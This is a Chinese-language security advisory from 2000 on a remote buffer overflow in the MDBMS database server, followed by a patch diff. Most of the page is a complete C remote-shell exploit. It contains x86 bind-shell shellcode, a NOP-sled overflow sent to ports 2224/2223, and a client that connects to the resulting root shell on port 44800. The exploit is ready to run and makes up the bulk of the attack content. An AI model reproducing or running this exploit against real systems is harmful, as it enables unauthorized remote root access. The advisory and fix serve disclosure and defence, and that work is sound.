发布日期：2000-05-29
更新日期：2000-05-29

受影响系统：

所有使用低于Marty Bochane MDBMS .99b6版本的Unix系统

描述：

---

MDBMS是Marty Bochane写的一个数据库系统。通过向MDBMS server提供一个超长的字符串，
将导致MDBMS发生缓冲区溢出，如果字符串中包含可执行代码，远程攻击者能够以运行数据库
系统的用户身份远程执行任意命令。

<* 来源：|[TDP]| (tdp@psynet.net)  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*                     MDBMS V0.96b6 remote shell xploit
*           11/05/2000  |[TDP]| <tdp@psynet.net>  -  HaCk-13 TeaM
*
*  This code shows a MDBMS v0.96b6 vulnerability in which, any remote
* user can exec a shell. MDBMS daemon used to be ran as root user; exposing
* the system to serious vulnerability risks, because any attacker can obtain
* root priviledges remotely with this exploit
*
* Exploit tested on LiNUX SuSE 6.3... previous MDBMS versions may
*  be affected by this vulnerability. Fix at end of this doc.
*
*      Greetings goes to all other members and all my friends
*
*/

  

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>

#define NOP     0x90
#define LEN     10008
#define RET     0xbffff586

/* Special shell code */
char shellcode[] =
  "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1"
  "\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd"
  "\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\xaf\x66\x89\x46\x0e\x8d\x46\x0c\x89"
  "\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb"
  "\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89"
  "\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80"
  "\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06"
  "\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd"
  "\x80\xe8\x5b\xff\xff\xff";

long
resolveip (char *name)
{
  struct hostent *hp;
  long ip;

  if ((ip = inet_addr (name)) == -1)
    {
      if ((hp = gethostbyname (name)) == NULL)
{
   fprintf (stderr, "Can't resolve host name [%s].\n", name);
   exit (0);
}
      memcpy (&ip, (hp->h_addr), 4);
    }
  return (ip);
}

int
main (int argc, char *argv[])
{
  char buffer[LEN], buffer2[LEN + 10];
  long retaddr = RET;
  long remoteip;
  unsigned long sp;
  int i, a, shellsock, clisock;
  struct sockaddr_in clisin, shsin;
  char snd[4096], rcv[4096];
  fd_set rset;

  fprintf (stderr,
    "\nMDBMS v0.96b6 Remote Shell Xploit - <tdp@psynet.net>\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s ip [offset]\n", argv[0]);
      exit (-1);
    }

  if (argc > 2)
    a = atoi (argv[2]);
  else
    a = 0;

  retaddr = retaddr + a;

  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr;

  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;

  memcpy (buffer + i, shellcode, strlen (shellcode));
  sprintf (buffer2, "%s\n", buffer);

  fprintf (stderr, "Connecting to remote MDBMS server...\n");
  fflush (stdout);
  remoteip = resolveip (argv[1]);
  clisock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (clisock == -1)
    {
      fprintf (stderr, "Can't create main socket");
      exit (-1);
    }
  clisin.sin_family = AF_INET;
  clisin.sin_port = htons (2224);
  clisin.sin_addr.s_addr = remoteip;
  if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) == -1)
    {
      fprintf (stderr, "Can't connect to the MDBMS fastport, trying normal port...\n");
      clisin.sin_family = AF_INET;
      clisin.sin_port = htons (2223);
      clisin.sin_addr.s_addr = remoteip;
      if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) ==
   -1)
{
   fprintf
     (stderr, "Can't connect to normalport... MDBMS is running in remote server?\n\n");
   exit (0);
}
      exit (0);
    }

  switch (i = read (clisock, buffer, LEN))
    {
    case -1:
      {
fprintf (stderr, "ClientSocket: unexpected EOF\n");
exit (0);
      }
    case 0:
      {
fprintf (stderr, "ClientSocket: EOF\n");
exit (0);
      }
    default:
      buffer[i] = 0;
      fprintf (stderr, "%s\n", buffer);
      break;
    }
  fprintf (stderr, "Sending xploit, jumping to address 0x%lx\n", retaddr);
  i = write (clisock, buffer2, strlen (buffer2));
  fsync (clisock);
  if ((i < 10000) || (i > 10018))
    {
      fprintf (stderr, "ClientSocket: Error writing xploit\n");
      exit (0);
    }
  close (clisock);

  fprintf (stderr, "Waiting 2 secs for hell...\n");
  sleep (2);
/* shell stuFF */
  fprintf (stderr, "Connecting to the shell...\n");
  fflush (stdout);

  memset (&shsin, 0, sizeof (shsin));
  shsin.sin_family = AF_INET;
  shsin.sin_port = htons (44800);
  shsin.sin_addr.s_addr = remoteip;

  if ((shellsock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      fprintf (stderr, "Can't create shell socket\n");
      exit (-1);
    }

  if (connect (shellsock, (struct sockaddr *) &shsin, sizeof (shsin)) < 0)
    {
      fprintf (stderr, "Can't connect to the shell\n\n");
      exit (0);
    }

  fprintf (stderr, "Connected\n");

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (shellsock, &rset);
      select (255, &rset, NULL, NULL, NULL);
      if (FD_ISSET (fileno (stdin), &rset))
{
   memset (snd, 0, sizeof (snd));
   fgets (snd, sizeof (snd), stdin);
   write (shellsock, snd, strlen (snd));
}
      if (FD_ISSET (shellsock, &rset))
{
   memset (rcv, 0, sizeof (rcv));
   if (read (shellsock, rcv, sizeof (rcv)) <= 0)
     exit (0);
   fputs (rcv, stdout);
}
    }

  return (0);
}



建议：

---

下面是一个临时的补丁程序：

/* FIX ---  mdbmsfix.diff -------- cut here -----------

*** mdbms-0.99/include/interface.hh Sun Sep 21 13:48:21 1997
--- mdbms-0.99-fixed/include/interface.hh Wed May 12 01:00:55 2000
*************** class user
*** 71,73 ****
     void unload();
!    int nextline(char *, char *);
     void uprintf(char *, ...);
--- 71,73 ----
     void unload();
!    int nextline(char *, char *, int);
     void uprintf(char *, ...);
*** mdbms-0.99/mdbms/interface.cc Sat Nov  8 12:12:31 1997
--- mdbms-0.99-fixed/mdbms/interface.cc Wed May 12 01:00:10 2000
*************** void user::input()
*** 223,225 ****
  }
! int user::nextline(char *source, char *dest)
  {
--- 223,225 ----
  }
! int user::nextline(char *source, char *dest, int limit)
  {
*************** int user::nextline(char *source, char *d
*** 227,228 ****
--- 227,231 ----
     if (!where) return -1;
+ // Sec Fix - |[TDP]| <tdp@psynet.net> //
+    if ((where-source)>limit)
+       return(-1);
     *(where++)='\0';
*************** void user::run()
*** 263,265 ****
     if (blocked) return;
!    while (nextline(inbuf,buf)!=-1)
     {
--- 266,268 ----
     if (blocked) return;
!    while (nextline(inbuf,buf,sizeof(buf))!=-1)
     {

--------------------- cuthere -----------------------*/

浏览次数：6334
严重程度：0（网友投票）